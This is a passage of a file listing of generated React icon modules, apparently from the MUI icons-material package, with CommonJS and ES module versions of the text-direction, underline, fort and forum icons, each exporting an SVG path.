    "path": "packages/mui-icons-material/lib/FormatTextdirectionLToRSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 10v5h2V4h2v11h2V4h2V2H9C6.79 2 5 3.79 5 6s1.79 4 4 4m12 8-4-4v3H5v2h12v3z\"\n}), 'FormatTextdirectionLToRSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatTextdirectionLToRTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 8V4c-1.1 0-2 .9-2 2s.9 2 2 2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 10v5h2V4h2v11h2V4h2V2H9C6.79 2 5 3.79 5 6s1.79 4 4 4m0-6v4c-1.1 0-2-.9-2-2s.9-2 2-2m12 14-4-4v3H5v2h12v3z\"\n}, \"1\")], 'FormatTextdirectionLToRTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatTextdirectionLToRTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 8V4c-1.1 0-2 .9-2 2s.9 2 2 2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 10v5h2V4h2v11h2V4h2V2H9C6.79 2 5 3.79 5 6s1.79 4 4 4m0-6v4c-1.1 0-2-.9-2-2s.9-2 2-2m12 14-4-4v3H5v2h12v3z\"\n}, \"1\")], 'FormatTextdirectionLToRTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatTextdirectionRToL.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 10v5h2V4h2v11h2V4h2V2h-8C7.79 2 6 3.79 6 6s1.79 4 4 4m-2 7v-3l-4 4 4 4v-3h12v-2z\"\n}), 'FormatTextdirectionRToL');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatTextdirectionRToL.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 10v5h2V4h2v11h2V4h2V2h-8C7.79 2 6 3.79 6 6s1.79 4 4 4m-2 7v-3l-4 4 4 4v-3h12v-2z\"\n}), 'FormatTextdirectionRToL');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatTextdirectionRToLOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 4v4c-1.1 0-2-.9-2-2s.9-2 2-2m8-2h-8C7.79 2 6 3.79 6 6s1.79 4 4 4v5h2V4h2v11h2V4h2zM8 14l-4 4 4 4v-3h12v-2H8z\"\n}), 'FormatTextdirectionRToLOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatTextdirectionRToLOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 4v4c-1.1 0-2-.9-2-2s.9-2 2-2m8-2h-8C7.79 2 6 3.79 6 6s1.79 4 4 4v5h2V4h2v11h2V4h2zM8 14l-4 4 4 4v-3h12v-2H8z\"\n}), 'FormatTextdirectionRToLOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatTextdirectionRToLRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 10v4c0 .55.45 1 1 1s1-.45 1-1V4h2v10c0 .55.45 1 1 1s1-.45 1-1V4h1c.55 0 1-.45 1-1s-.45-1-1-1h-6.83C8.08 2 6.22 3.53 6.02 5.61 5.79 7.99 7.66 10 10 10m-2 7v-1.79c0-.45-.54-.67-.85-.35l-2.79 2.79c-.2.2-.2.51 0 .71l2.79 2.79c.31.31.85.09.85-.36V19h11c.55 0 1-.45 1-1s-.45-1-1-1z\"\n}), 'FormatTextdirectionRToLRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatTextdirectionRToLRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 10v4c0 .55.45 1 1 1s1-.45 1-1V4h2v10c0 .55.45 1 1 1s1-.45 1-1V4h1c.55 0 1-.45 1-1s-.45-1-1-1h-6.83C8.08 2 6.22 3.53 6.02 5.61 5.79 7.99 7.66 10 10 10m-2 7v-1.79c0-.45-.54-.67-.85-.35l-2.79 2.79c-.2.2-.2.51 0 .71l2.79 2.79c.31.31.85.09.85-.36V19h11c.55 0 1-.45 1-1s-.45-1-1-1z\"\n}), 'FormatTextdirectionRToLRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatTextdirectionRToLSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 10v5h2V4h2v11h2V4h2V2h-8C7.79 2 6 3.79 6 6s1.79 4 4 4m-2 7v-3l-4 4 4 4v-3h12v-2z\"\n}), 'FormatTextdirectionRToLSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatTextdirectionRToLSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 10v5h2V4h2v11h2V4h2V2h-8C7.79 2 6 3.79 6 6s1.79 4 4 4m-2 7v-3l-4 4 4 4v-3h12v-2z\"\n}), 'FormatTextdirectionRToLSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatTextdirectionRToLTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 6c0 1.1.9 2 2 2V4c-1.1 0-2 .9-2 2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 6c0 2.21 1.79 4 4 4v5h2V4h2v11h2V4h2V2h-8C7.79 2 6 3.79 6 6m4 2c-1.1 0-2-.9-2-2s.9-2 2-2zM4 18l4 4v-3h12v-2H8v-3z\"\n}, \"1\")], 'FormatTextdirectionRToLTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatTextdirectionRToLTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 6c0 1.1.9 2 2 2V4c-1.1 0-2 .9-2 2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 6c0 2.21 1.79 4 4 4v5h2V4h2v11h2V4h2V2h-8C7.79 2 6 3.79 6 6m4 2c-1.1 0-2-.9-2-2s.9-2 2-2zM4 18l4 4v-3h12v-2H8v-3z\"\n}, \"1\")], 'FormatTextdirectionRToLTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatUnderlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 17c3.31 0 6-2.69 6-6V3h-2.5v8c0 1.93-1.57 3.5-3.5 3.5S8.5 12.93 8.5 11V3H6v8c0 3.31 2.69 6 6 6m-7 2v2h14v-2z\"\n}), 'FormatUnderlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatUnderlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 17c3.31 0 6-2.69 6-6V3h-2.5v8c0 1.93-1.57 3.5-3.5 3.5S8.5 12.93 8.5 11V3H6v8c0 3.31 2.69 6 6 6m-7 2v2h14v-2z\"\n}), 'FormatUnderlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatUnderlinedOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 17c3.31 0 6-2.69 6-6V3h-2.5v8c0 1.93-1.57 3.5-3.5 3.5S8.5 12.93 8.5 11V3H6v8c0 3.31 2.69 6 6 6m-7 2v2h14v-2z\"\n}), 'FormatUnderlinedOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatUnderlinedOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 17c3.31 0 6-2.69 6-6V3h-2.5v8c0 1.93-1.57 3.5-3.5 3.5S8.5 12.93 8.5 11V3H6v8c0 3.31 2.69 6 6 6m-7 2v2h14v-2z\"\n}), 'FormatUnderlinedOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatUnderlinedRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.79 16.95c3.03-.39 5.21-3.11 5.21-6.16V4.25C18 3.56 17.44 3 16.75 3s-1.25.56-1.25 1.25v6.65c0 1.67-1.13 3.19-2.77 3.52-2.25.47-4.23-1.25-4.23-3.42V4.25C8.5 3.56 7.94 3 7.25 3S6 3.56 6 4.25V11c0 3.57 3.13 6.42 6.79 5.95M5 20c0 .55.45 1 1 1h12c.55 0 1-.45 1-1s-.45-1-1-1H6c-.55 0-1 .45-1 1\"\n}), 'FormatUnderlinedRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatUnderlinedRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.79 16.95c3.03-.39 5.21-3.11 5.21-6.16V4.25C18 3.56 17.44 3 16.75 3s-1.25.56-1.25 1.25v6.65c0 1.67-1.13 3.19-2.77 3.52-2.25.47-4.23-1.25-4.23-3.42V4.25C8.5 3.56 7.94 3 7.25 3S6 3.56 6 4.25V11c0 3.57 3.13 6.42 6.79 5.95M5 20c0 .55.45 1 1 1h12c.55 0 1-.45 1-1s-.45-1-1-1H6c-.55 0-1 .45-1 1\"\n}), 'FormatUnderlinedRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatUnderlinedSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 17c3.31 0 6-2.69 6-6V3h-2.5v8c0 1.93-1.57 3.5-3.5 3.5S8.5 12.93 8.5 11V3H6v8c0 3.31 2.69 6 6 6m-7 2v2h14v-2z\"\n}), 'FormatUnderlinedSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatUnderlinedSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 17c3.31 0 6-2.69 6-6V3h-2.5v8c0 1.93-1.57 3.5-3.5 3.5S8.5 12.93 8.5 11V3H6v8c0 3.31 2.69 6 6 6m-7 2v2h14v-2z\"\n}), 'FormatUnderlinedSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatUnderlinedTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 19h14v2H5zM6 3v8c0 3.31 2.69 6 6 6s6-2.69 6-6V3h-2.5v8c0 1.93-1.57 3.5-3.5 3.5S8.5 12.93 8.5 11V3z\"\n}), 'FormatUnderlinedTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatUnderlinedTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 19h14v2H5zM6 3v8c0 3.31 2.69 6 6 6s6-2.69 6-6V3h-2.5v8c0 1.93-1.57 3.5-3.5 3.5S8.5 12.93 8.5 11V3z\"\n}), 'FormatUnderlinedTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Fort.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3v2h-2V3h-2v2h-2V3h-2v4l2 2v1H9V9l2-2V3H9v2H7V3H5v2H3V3H1v4l2 2v6l-2 2v4h9v-3c0-1.1.9-2 2-2s2 .9 2 2v3h9v-4l-2-2V9l2-2V3z\"\n}), 'Fort');"
  },
  {
    "path": "packages/mui-icons-material/lib/Fort.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3v2h-2V3h-2v2h-2V3h-2v4l2 2v1H9V9l2-2V3H9v2H7V3H5v2H3V3H1v4l2 2v6l-2 2v4h9v-3c0-1.1.9-2 2-2s2 .9 2 2v3h9v-4l-2-2V9l2-2V3z\"\n}), 'Fort');"
  },
  {
    "path": "packages/mui-icons-material/lib/FortOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3v2h-2V3h-2v2h-2V3h-2v4l2 2v1H9V9l2-2V3H9v2H7V3H5v2H3V3H1v4l2 2v6l-2 2v4h9v-3c0-1.1.9-2 2-2s2 .9 2 2v3h9v-4l-2-2V9l2-2V3zm0 16h-5v-1c0-2.21-1.79-4-4-4s-4 1.79-4 4v1H3v-1.17l2-2V8.17L3.83 7h4.34L7 8.17V12h10V8.17L15.83 7h4.34L19 8.17v7.66l2 2z\"\n}), 'FortOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FortOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3v2h-2V3h-2v2h-2V3h-2v4l2 2v1H9V9l2-2V3H9v2H7V3H5v2H3V3H1v4l2 2v6l-2 2v4h9v-3c0-1.1.9-2 2-2s2 .9 2 2v3h9v-4l-2-2V9l2-2V3zm0 16h-5v-1c0-2.21-1.79-4-4-4s-4 1.79-4 4v1H3v-1.17l2-2V8.17L3.83 7h4.34L7 8.17V12h10V8.17L15.83 7h4.34L19 8.17v7.66l2 2z\"\n}), 'FortOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FortRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 4v1h-2V4c0-.55-.45-1-1-1s-1 .45-1 1v1h-2V4c0-.55-.45-1-1-1s-1 .45-1 1v2.17c0 .53.21 1.04.59 1.41L15 9v1H9V9l1.41-1.41c.38-.38.59-.89.59-1.42V4c0-.55-.45-1-1-1s-1 .45-1 1v1H7V4c0-.55-.45-1-1-1s-1 .45-1 1v1H3V4c0-.55-.45-1-1-1s-1 .45-1 1v2.17c0 .53.21 1.04.59 1.42L3 9v6l-1.41 1.41c-.38.38-.59.89-.59 1.42V19c0 1.1.9 2 2 2h7v-2.89c0-1 .68-1.92 1.66-2.08 1.26-.21 2.34.76 2.34 1.97v3h7c1.1 0 2-.9 2-2v-1.17c0-.53-.21-1.04-.59-1.41L21 15V9l1.41-1.41c.38-.38.59-.89.59-1.42V4c0-.55-.45-1-1-1s-1 .45-1 1\"\n}), 'FortRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FortRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 4v1h-2V4c0-.55-.45-1-1-1s-1 .45-1 1v1h-2V4c0-.55-.45-1-1-1s-1 .45-1 1v2.17c0 .53.21 1.04.59 1.41L15 9v1H9V9l1.41-1.41c.38-.38.59-.89.59-1.42V4c0-.55-.45-1-1-1s-1 .45-1 1v1H7V4c0-.55-.45-1-1-1s-1 .45-1 1v1H3V4c0-.55-.45-1-1-1s-1 .45-1 1v2.17c0 .53.21 1.04.59 1.42L3 9v6l-1.41 1.41c-.38.38-.59.89-.59 1.42V19c0 1.1.9 2 2 2h7v-2.89c0-1 .68-1.92 1.66-2.08 1.26-.21 2.34.76 2.34 1.97v3h7c1.1 0 2-.9 2-2v-1.17c0-.53-.21-1.04-.59-1.41L21 15V9l1.41-1.41c.38-.38.59-.89.59-1.42V4c0-.55-.45-1-1-1s-1 .45-1 1\"\n}), 'FortRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FortSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3v2h-2V3h-2v2h-2V3h-2v4l2 2v1H9V9l2-2V3H9v2H7V3H5v2H3V3H1v4l2 2v6l-2 2v4h9v-5h4v5h9v-4l-2-2V9l2-2V3z\"\n}), 'FortSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FortSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3v2h-2V3h-2v2h-2V3h-2v4l2 2v1H9V9l2-2V3H9v2H7V3H5v2H3V3H1v4l2 2v6l-2 2v4h9v-5h4v5h9v-4l-2-2V9l2-2V3z\"\n}), 'FortSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FortTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 8.17 20.17 7h-4.34L17 8.17V12H7V8.17L8.17 7H3.83L5 8.17v7.66l-2 2V19h5v-1c0-2.21 1.79-4 4-4s4 1.79 4 4v1h5v-1.17l-2-2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23 7V3h-2v2h-2V3h-2v2h-2V3h-2v4l2 2v1H9V9l2-2V3H9v2H7V3H5v2H3V3H1v4l2 2v6l-2 2v4h9v-3c0-1.1.9-2 2-2s2 .9 2 2v3h9v-4l-2-2V9zm-2 12h-5v-1c0-2.21-1.79-4-4-4s-4 1.79-4 4v1H3v-1.17l2-2V8.17L3.83 7h4.34L7 8.17V12h10V8.17L15.83 7h4.34L19 8.17v7.66l2 2z\"\n}, \"1\")], 'FortTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FortTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 8.17 20.17 7h-4.34L17 8.17V12H7V8.17L8.17 7H3.83L5 8.17v7.66l-2 2V19h5v-1c0-2.21 1.79-4 4-4s4 1.79 4 4v1h5v-1.17l-2-2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M23 7V3h-2v2h-2V3h-2v2h-2V3h-2v4l2 2v1H9V9l2-2V3H9v2H7V3H5v2H3V3H1v4l2 2v6l-2 2v4h9v-3c0-1.1.9-2 2-2s2 .9 2 2v3h9v-4l-2-2V9zm-2 12h-5v-1c0-2.21-1.79-4-4-4s-4 1.79-4 4v1H3v-1.17l2-2V8.17L3.83 7h4.34L7 8.17V12h10V8.17L15.83 7h4.34L19 8.17v7.66l2 2z\"\n}, \"1\")], 'FortTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Forum.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 6h-2v9H6v2c0 .55.45 1 1 1h11l4 4V7c0-.55-.45-1-1-1m-4 6V3c0-.55-.45-1-1-1H3c-.55 0-1 .45-1 1v14l4-4h10c.55 0 1-.45 1-1\"\n}), 'Forum');"
  },
  {
    "path": "packages/mui-icons-material/lib/Forum.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 6h-2v9H6v2c0 .55.45 1 1 1h11l4 4V7c0-.55-.45-1-1-1m-4 6V3c0-.55-.45-1-1-1H3c-.55 0-1 .45-1 1v14l4-4h10c.55 0 1-.45 1-1\"\n}), 'Forum');"
  },
  {
    "path": "packages/mui-icons-material/lib/ForumOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 4v7H5.17L4 12.17V4zm1-2H3c-.55 0-1 .45-1 1v14l4-4h10c.55 0 1-.45 1-1V3c0-.55-.45-1-1-1m5 4h-2v9H6v2c0 .55.45 1 1 1h11l4 4V7c0-.55-.45-1-1-1\"\n}), 'ForumOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ForumOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 4v7H5.17L4 12.17V4zm1-2H3c-.55 0-1 .45-1 1v14l4-4h10c.55 0 1-.45 1-1V3c0-.55-.45-1-1-1m5 4h-2v9H6v2c0 .55.45 1 1 1h11l4 4V7c0-.55-.45-1-1-1\"\n}), 'ForumOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ForumRounded.js",
